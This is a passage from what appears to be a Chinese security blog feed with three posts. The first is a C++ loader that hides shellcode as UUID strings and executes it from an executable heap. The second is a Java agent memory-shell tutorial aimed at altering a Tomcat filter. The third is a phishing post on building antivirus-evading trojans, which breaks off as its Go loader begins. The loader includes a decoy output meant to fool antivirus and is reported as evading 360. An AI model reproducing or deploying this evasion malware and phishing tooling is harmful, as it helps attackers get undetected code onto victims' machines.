计算还剩多少字节需要转换</span></span><br><span class="line"> <span class="keyword">if</span> countOfBytesToConvert < <span class="number">16</span>: <span class="comment"># 如果不足 16 个字节</span></span><br><span class="line"> ZerosToAdd = <span class="number">16</span> - countOfBytesToConvert <span class="comment"># 计算需要补多少个 0</span></span><br><span class="line"> byteString = <span class="built_in">bin</span>[offset:] + (<span class="string">b'\x00'</span>* ZerosToAdd) <span class="comment"># 在末尾补 0</span></span><br><span class="line"> uuid = UUID(bytes_le=byteString) <span class="comment"># 将 byteString 转换成 UUID</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> byteString = <span class="built_in">bin</span>[offset:offset+<span class="number">16</span>] <span class="comment"># 取出 16 个字节</span></span><br><span class="line"> uuid = UUID(bytes_le=byteString) <span class="comment"># 将 byteString 转换成 UUID</span></span><br><span class="line"> offset+=<span class="number">16</span> <span class="comment"># 偏移量加 16</span></span><br><span class="line"></span><br><span class="line"> out += <span class="string">"\"{}\",\n"</span>.<span class="built_in">format</span>(uuid) <span class="comment"># 将 UUID 添加到 out 中</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> outputMapping: <span class="comment"># 如果需要输出映射关系</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"{} -> {}"</span>.<span class="built_in">format</span>(byteString, uuid))</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(sys.argv[<span class="number">1</span>] + <span class="string">"UUIDs"</span>, <span class="string">"w"</span>) <span class="keyword">as</span> f: <span class="comment"># 将转换后的 UUID 写入到文件中</span></span><br><span class="line"> f.write(out)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">"Outputted to: {}"</span>.<span class="built_in">format</span>(sys.argv[<span class="number">1</span>] + <span class="string">"UUIDs"</span>)) <span class="comment"># 打印输出文件的路径</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="image-20230615220751829.png" alt="image-20230615220751829"></p><p>然后将加密的shellcode加载到内存里去</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><Windows.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><rpc.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(lib,<span class="string">"Rpcrt4.lib"</span>)</span></span><br><span class="line"><span class="comment">//不弹出交互端口</span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(linker, <span class="string">"/subsystem:\"Windows\" /entry:\"mainCRTStartup\""</span>)</span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="type">const</span> <span class="type">char</span>* buf[] = {</span><br><span class="line"><span class="string">"e48348fc-e8f0-00c8-0000-415141505251"</span>,</span><br><span class="line"><span class="string">"d2314856-4865-528b-6048-8b5218488b52"</span>,</span><br><span class="line"><span class="string">"728b4820-4850-b70f-4a4a-4d31c94831c0"</span>,</span><br><span class="line"><span class="string">"7c613cac-2c02-4120-c1c9-0d4101c1e2ed"</span>,</span><br><span class="line"><span class="string">"……"</span>,</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[])</span> </span>{</span><br><span class="line"><span class="comment">// 获取数组 buf 中元素个数</span></span><br><span class="line"><span class="type">int</span> dwNum = <span class="built_in">sizeof</span>(buf) / <span class="built_in">sizeof</span>(buf[<span class="number">0</span>]);</span><br><span class="line"><span class="comment">// 创建一个堆,并返回一个句柄</span></span><br><span class="line">HANDLE hMemory = <span class="built_in">HeapCreate</span>(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (hMemory == <span class="literal">NULL</span>) {</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 在堆中分配 1024 字节的内存,并返回指向这段内存的指针</span></span><br><span class="line">PVOID pMemory = <span class="built_in">HeapAlloc</span>(hMemory, <span class="number">0</span>, <span class="number">1024</span>);</span><br><span class="line"></span><br><span class="line">DWORD_PTR CodePtr = (DWORD_PTR)pMemory;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="type">size_t</span> i = <span class="number">0</span>; i < dwNum; i++)</span><br><span class="line">{</span><br><span class="line"><span class="keyword">if</span> (CodePtr == <span class="literal">NULL</span>) {</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 将字符串转换成 UUID,并将结果存储在指向内存的指针 CodePtr 中</span></span><br><span class="line">RPC_STATUSstatus = <span class="built_in">UuidFromStringA</span>(<span class="built_in">RPC_CSTR</span>(buf[i]), (UUID*)CodePtr);</span><br><span class="line"><span class="keyword">if</span> (status != RPC_S_OK) {</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">}</span><br><span class="line">CodePtr += <span class="number">16</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> (pMemory == <span class="literal">NULL</span>) {</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">}</span><br><span class="line">((<span class="built_in">void</span>(*)())pMemory)();</span><br><span class="line"> <span class="comment">//加个输出来骗杀软</span></span><br><span class="line">cout << <span class="string">"Hello World!\n"</span>;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>其中涉及到一个<code>UuidFromStringA</code>函数,该函数的作用是将一个字符串表示的 UUID 转换为一个 UUID 结构体类型的变量。其中,第一个参数是一个字符串,表示要转换的 UUID,第二个参数是一个指向 UUID 结构体类型的指针变量,表示转换后的结果。</p><p>生成的exe成功在360免杀(2023.6.15测试)</p><p><img src="image-20230615221347000.png" alt="image-20230615221347000"></p>]]></content>
<summary type="html"><p>在渗透的过程中会经常遇到对方机器安装了杀软的情况,这时就需要用到免杀技术,之前钓鱼邮件中提到的免杀是用GO写的,但我觉得这种东西还是更靠近计算机底层为好,正好这几天看了<a href="https://payloads.online">倾旋大佬的博客</a>,对于用c++来</summary>
<category term="技术" scheme="http://example.com/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="免杀" scheme="http://example.com/tags/%E5%85%8D%E6%9D%80/"/>
</entry>
<entry>
<title>agent内存马学习</title>
<link href="http://example.com/post/2023/agent%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/"/>
<id>http://example.com/post/2023/agent%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/</id>
<published>2023-06-06T06:57:17.000Z</published>
<updated>2023-06-15T15:28:46.779Z</updated>
<content type="html"><![CDATA[<p>在Java中,agent是一种可以在运行时修改字节码的机制,它可以用来实现诸如性能监控、代码覆盖率分析、日志记录等功能。java agent主要分为两种——<code>premain</code>和<code>agentmain</code></p><h1 id="premain">premain</h1><p>首先新建一个maven项目,并创建一个<code>PreDemo</code>类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.lang.instrument.Instrumentation;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PreDemo</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">premain</span><span class="params">(String args, Instrumentation inst)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i < <span class="number">5</span>; i++) {</span><br><span class="line"> System.out.println(<span class="string">"hello I`m premain agent!!!"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>创建<code>META-INF/MANIFEST.MF</code>,需要指定<code>Premain-Class</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Manifest-Version: <span class="number">1.0</span></span><br><span class="line">Premain-Class: PreDemo</span><br><span class="line"> </span><br></pre></td></tr></table></figure><p><img src="image-20230611153956891.png" alt="image-20230611153956891"></p><p>打包生成<code>ttagent.jar</code></p><p><img src="image-20230611154005520.png" alt="image-20230611154005520"></p><p>再新建一个maven项目,并创建一个<code>HelloDemo</code>类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HelloDemo</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> System.out.println(<span class="string">"Hello !!!"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>同样打包生成<code>hello.jar</code></p><p>将两个jar包放到同一目录下</p><p>运行<code>java -javaagent:ttagent -jar hello.jar</code></p><p><img src="image-20230611154151348.png" alt="image-20230611154151348"></p><p>可以发现是先运行的的<code>ttagent.jar</code>然后才是<code>hello.jar</code></p><h1 id="agentmain">agentmain</h1><p><code>agentmain</code>是在java程序运行中被调用的方法,可以通过<code>VirtualMachine</code>向指定pid的jvm插入agentadmin程序</p><p>首先写一个<code>AgentDemo</code>类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.lang.instrument.Instrumentation;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AgentDemo</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">agentmain</span><span class="params">(String agentArgs, Instrumentation inst)</span> {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i < <span class="number">5</span>; i++) {</span><br><span class="line"> System.out.println(<span class="string">"hello I`m agentMain!!!"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>修改<code>MANIFEST.MF</code>为:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Manifest-Version: <span class="number">1.0</span></span><br><span class="line">Premain-Class: PreDemo</span><br><span class="line">Agent-Class: AgentDemo</span><br><span class="line"> </span><br></pre></td></tr></table></figure><p>打包重新生成<code>ttagent.jar</code></p><p>修改<code>HelloDemo</code>类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HelloDemo</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="keyword">while</span> (<span class="literal">true</span>){</span><br><span class="line"> Thread.sleep(<span class="number">10000</span>);<span class="comment">//每10s输出一次hello!!!</span></span><br><span class="line"> System.out.println(<span class="string">"hello!!!"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>新建<code>AttachDemo</code>类并通过<code>VirtualMachine</code>这个类帮助我们连接到一个JVM</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.tools.attach.VirtualMachine;</span><br><span class="line"><span class="keyword">import</span> java.util.Scanner;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AttachDemo</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="comment">//输入一个pid</span></span><br><span class="line"> <span class="type">Scanner</span> <span class="variable">scanner</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Scanner</span>(System.in);</span><br><span class="line"> System.out.print(<span class="string">"Enter the pid: "</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">pid</span> <span class="operator">=</span> scanner.nextLine();</span><br><span class="line"> <span class="comment">//连接对应pid的JVM</span></span><br><span class="line"> <span class="type">VirtualMachine</span> <span class="variable">virtualMachine</span> <span class="operator">=</span> VirtualMachine.attach(pid);</span><br><span class="line"> <span class="comment">//加载指定的agentmain</span></span><br><span class="line"> virtualMachine.loadAgent(<span class="string">"D:\\ideaproject\\neicunma\\ttagent\\out\\artifacts\\ttagent_jar\\ttagent.jar"</span>);</span><br><span class="line"> <span class="comment">//断开连接</span></span><br><span class="line"> virtualMachine.detach();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>运行HelloDemo,查看对应的pid进程</p><p><img src="image-20230611162328641.png" alt="image-20230611162328641"></p><p>确认pid为47292(之前没有这个进程的,运行HelloDemo后出现)</p><p>运行AttachDemo,输入pid</p><p><img src="image-20230611162358554.png" alt="image-20230611162358554"></p><p>查看HelloDemo的控制台发现成功调用ttagent.jar</p><p><img src="image-20230611162419281.png" alt="image-20230611162419281"></p><h2 id="Instrumentation">Instrumentation</h2><p>agentmain中可以看到我们传入了一个<code>Instrumentation</code>类的inst,这个类可以帮助我们修改源程序中已加载的其他类,先讲两个方法<code>getAllLoadedClasses</code>和<code>isModifiableClass</code></p><p><code>getAllLoadedClasses</code>方法可以获取当前已经加载的类<br><code>isModifiableClass</code>方法可以判断当前类是否可修改</p><p>修改AgentDemo如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.lang.instrument.Instrumentation;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AgentDemo</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">agentmain</span><span class="params">(String agentArgs, Instrumentation inst)</span> {</span><br><span class="line"> <span class="comment">//获取已加载的类</span></span><br><span class="line"> Class[] classes = inst.getAllLoadedClasses();</span><br><span class="line"> <span class="keyword">for</span> (Class aclass : classes) {</span><br><span class="line"> <span class="comment">//输出类的名字和是否可修改</span></span><br><span class="line"> System.out.println(<span class="string">"classname="</span>+aclass.getName()+<span class="string">" "</span>+<span class="string">"Modifiable="</span>+ inst.isModifiableClass(aclass));</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>重新生成<code>ttagent.jar</code>以后,先运行HelloDemo再运行AttachDemo并输入对应的pid,可以看到对应的类被输出了</p><p><img src="image-20230611195826962.png" alt="image-20230611195826962"></p><p>修改HelloDemo为:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HelloDemo</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="type">HelloDemo</span> <span class="variable">helloDemo</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HelloDemo</span>();</span><br><span class="line"> <span class="keyword">while</span> (<span class="literal">true</span>){</span><br><span class="line"> Thread.sleep(<span class="number">10000</span>);</span><br><span class="line"> helloDemo.hello();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">hello</span><span class="params">()</span>{</span><br><span class="line"> System.out.println(<span class="string">"hello!!!"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>接下来尝试把HelloDemo的hello方法给修改掉,这里需要调用Instrumentation类的两个方法:</p><p><code>addTransformer</code>方法可以向 JVM 注册一个类转换器,从而在类加载时对类进行转换</p><p><code>retransformClasses</code>方法可以重新转换已经加载的类</p><p>addTransformer方法要传入一个<code>ClassFileTransformer</code>类对象,而<code>retransformClasses</code>方法会触发 JVM 重新载入指定的一组类,并调用它们对应的类转换器中的 <code>transform()</code> 方法,将类转换为新的字节码形式。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">ClassFileTransformer</span> {</span><br><span class="line">...</span><br><span class="line"> <span class="type">byte</span>[]</span><br><span class="line"> transform( ClassLoader loader, <span class="comment">//要转换的类所属的类加载器</span></span><br><span class="line"> String className, <span class="comment">//要转换的类的全限定名(包括包名)</span></span><br><span class="line"> Class<?> classBeingRedefined, <span class="comment">//如果当前是重定义(redefinition)操作,则为正在重新定义的类的 Class 对象,否则为 null</span></span><br><span class="line"> ProtectionDomain protectionDomain, <span class="comment">//要转换的类的保护域(Protection Domain)</span></span><br><span class="line"> <span class="type">byte</span>[] classfileBuffer) <span class="comment">//表示要转换的类的字节码的字节数组</span></span><br><span class="line"> <span class="keyword">throws</span> IllegalClassFormatException;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>修改AgentDemo类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AgentDemo</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">agentmain</span><span class="params">(String agentArgs, Instrumentation inst)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="comment">//获取已加载的类</span></span><br><span class="line"> Class[] classes = inst.getAllLoadedClasses();</span><br><span class="line"> <span class="keyword">for</span> (Class aclass : classes) {</span><br><span class="line"> <span class="comment">//判读当前类是否是HelloDemo类</span></span><br><span class="line"> <span class="keyword">if</span> (aclass.getName().equals(<span class="string">"HelloDemo"</span>)) {</span><br><span class="line"> <span class="comment">// 添加 Transformer</span></span><br><span class="line"> inst.addTransformer(<span class="keyword">new</span> <span class="title class_">TransformerDemo</span>(), <span class="literal">true</span>);</span><br><span class="line"> <span class="comment">// 触发 Transformer</span></span><br><span class="line"> inst.retransformClasses(aclass);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>新建一个TransformerDemo类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.instrument.ClassFileTransformer;</span><br><span class="line"><span class="keyword">import</span> java.lang.instrument.IllegalClassFormatException;</span><br><span class="line"><span class="keyword">import</span> java.security.ProtectionDomain;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TransformerDemo</span> <span class="keyword">implements</span> <span class="title class_">ClassFileTransformer</span> {</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="type">byte</span>[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, <span class="type">byte</span>[] classfileBuffer) <span class="keyword">throws</span> IllegalClassFormatException {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">//初始化CtClass对象容器</span></span><br><span class="line"> <span class="type">ClassPool</span> <span class="variable">classpool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line"> <span class="comment">//获取类的搜索路径</span></span><br><span class="line"> <span class="keyword">if</span> (classBeingRedefined != <span class="literal">null</span>) {</span><br><span class="line"> <span class="type">ClassClassPath</span> <span class="variable">classClassPath</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ClassClassPath</span>(classBeingRedefined);</span><br><span class="line"> classpool.insertClassPath(classClassPath);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//获取HelloDemo类对象</span></span><br><span class="line"> <span class="type">CtClass</span> <span class="variable">ctclass</span> <span class="operator">=</span> classpool.get(<span class="string">"HelloDemo"</span>);</span><br><span class="line"> <span class="comment">//获取hello方法</span></span><br><span class="line"> <span class="type">CtMethod</span> <span class="variable">method</span> <span class="operator">=</span> ctclass.getDeclaredMethod(<span class="string">"hello"</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">source</span> <span class="operator">=</span> <span class="string">"{System.out.println(\"hello transformer\");}"</span>;</span><br><span class="line"> <span class="comment">//修改方法体</span></span><br><span class="line"> method.setBody(source);</span><br><span class="line"> <span class="comment">// 转换为字节数组</span></span><br><span class="line"> <span class="type">byte</span>[] bytes = ctclass.toBytecode();</span><br><span class="line"> ctclass.detach();</span><br><span class="line"> <span class="keyword">return</span> bytes;</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e){</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里要导入javassist的依赖(两个项目都要导入)</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.javassist<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>javassist<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>3.27.0-GA<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"><span class="tag"></<span class="name">dependency</span>></span></span><br></pre></td></tr></table></figure><p>以上代码的功能主要是判断当前运行的类是否是HelloDemo,如果是的话,则将该类的hello方法输出结果修改为”hello transformer“</p><p>修改MANIFEST.MF加上</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Can-Redefine-Classes: <span class="literal">true</span></span><br><span class="line">Can-Retransform-Classes: <span class="literal">true</span></span><br></pre></td></tr></table></figure><p>重新生成ttagent.jar以后,同样先运行HelloDemo再运行AttachDemo并输入对应的pid,即可发现HelloDemo类的hello方法被修改了</p><p><img src="image-20230611205507203.png" alt="image-20230611205507203"></p><p>接下来试着将tomcat中的filter给改掉</p><p>先在80端口起一个tomcat,根据端口判断对应的pid</p><p><img src="image-20230611211634046.png" alt="image-20230611211634046"></p><p>可以得到pid为53396</p><p>可以看看已经加载了哪些类</p><p><img src="image-20230611211734944.png" alt="image-20230611211734944"></p><p>可以看到之前的Myfilter类</p><p><img src="image-20230611211817563.png" alt="image-20230611211817563"></p><p>尝试将Myfilter类的doFileter方法进行修改</p><p>但这里总是会报一个错<code>Caused by: java.lang.ClassNotFoundException: javassist.ClassPath</code></p><p><img src="image-20230612094823239.png" alt="image-20230612094823239"></p><p>应该是javassist依赖没有导入的问题,但尝试了很多办法(改版本、将javassist依赖一起导入ttagent.jar、JavaWeb主动添加javassist依赖),都没有效果</p>]]></content>
<summary type="html"><p>在Java中,agent是一种可以在运行时修改字节码的机制,它可以用来实现诸如性能监控、代码覆盖率分析、日志记录等功能。java agent主要分为两种——<code>premain</code>和<code>agentmain</code></p>
<h1 id="pre</summary>
<category term="JAVA" scheme="http://example.com/categories/JAVA/"/>
<category term="内存马" scheme="http://example.com/tags/%E5%86%85%E5%AD%98%E9%A9%AC/"/>
</entry>
<entry>
<title>邮箱钓鱼学习</title>
<link href="http://example.com/post/2023/%E9%82%AE%E7%AE%B1%E9%92%93%E9%B1%BC%E5%AD%A6%E4%B9%A0/"/>
<id>http://example.com/post/2023/%E9%82%AE%E7%AE%B1%E9%92%93%E9%B1%BC%E5%AD%A6%E4%B9%A0/</id>
<published>2023-06-04T07:35:21.000Z</published>
<updated>2023-06-14T11:54:04.166Z</updated>
<content type="html"><![CDATA[<p><code>邮箱钓鱼</code>是一种常见的网络攻击手段,它利用伪造的电子邮件来诱导目标用户点击恶意链接或附件,从而窃取敏感信息或执行恶意代码。在进行网络攻击的时候非常常见,毕竟资产最薄弱的部分依旧还是人。</p><h1 id="制作免杀马">制作免杀马</h1><p>邮箱钓鱼攻击的成功与否很大程度上取决于攻击者能否绕过目标系统的防御措施,如杀毒软件、防火墙、沙箱等。因此,学习如何制作免杀的恶意代码是提高邮箱钓鱼攻击效果的关键。</p><p>目前网上有非常多能够帮助shellcode免杀的工具,也可以自己尝试写一写,这里以绕过360为目标</p><p>参考<a href="https://www.freebuf.com/articles/endpoint/323789.html">云山雾隐的shellcode免杀入门文章</a>我们可以得到一个基础的免杀马</p><p>大致原理是对shellcode进行<code>异或加密</code>再<code>base64编码</code>得到密文,然后再对密文进行解码同时加载到内存中,但这种方式同样容易被查杀(2023.6.2测试被杀),所以我们可以分开写,弄两个文件,一个文件(文件名为.DS_Store)存放我们所加密的shellcode,另外一个可执行文件负责读取shellcode并加载到内存中</p><p>shell.go代码如下:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span 